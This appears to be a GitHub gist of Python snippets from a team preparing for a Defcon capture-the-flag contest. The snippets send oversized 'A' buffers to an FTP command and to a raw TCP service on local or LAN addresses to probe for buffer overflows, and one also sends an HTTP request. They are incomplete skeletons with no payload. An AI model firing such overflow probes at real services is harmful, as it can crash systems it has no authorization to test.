Skip to content

Instantly share code, notes, and snippets.

@3dd13
Created May 19, 2010 16:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 3dd13/406515 to your computer and use it in GitHub Desktop.
Save 3dd13/406515 to your computer and use it in GitHub Desktop.
VXRL - Defcon 2010 preparation
import ftplib
from ftplib import FTP
buffer = '\x41' * 400
try:
ftp = FTP('127.0.0.1')
ftp.login(user, password)
ftp.transfercmd("command" + buffer)
print 'xxx'
except:
print 'exception'
import httplib
import thread, time
# while True:
conn = httplib.HTTPConnection("127.0.0.1", 80)
conn.request("GET", "index.php?param=" + str(integerValue) + "&key=" + key)
r = conn.getresponse()
# time.sleep(1)
response = r.read()
print response
conn.close()
import sys
from socket import *
import time, thread
serverPort = 9999
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.1.1", serverPort))
# time.sleep(1)
# s.send("something")
data = s.recv(1024)
print data
s.send("A" * 0x3FF)
data = s.recv(1024)
print data
s.close
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment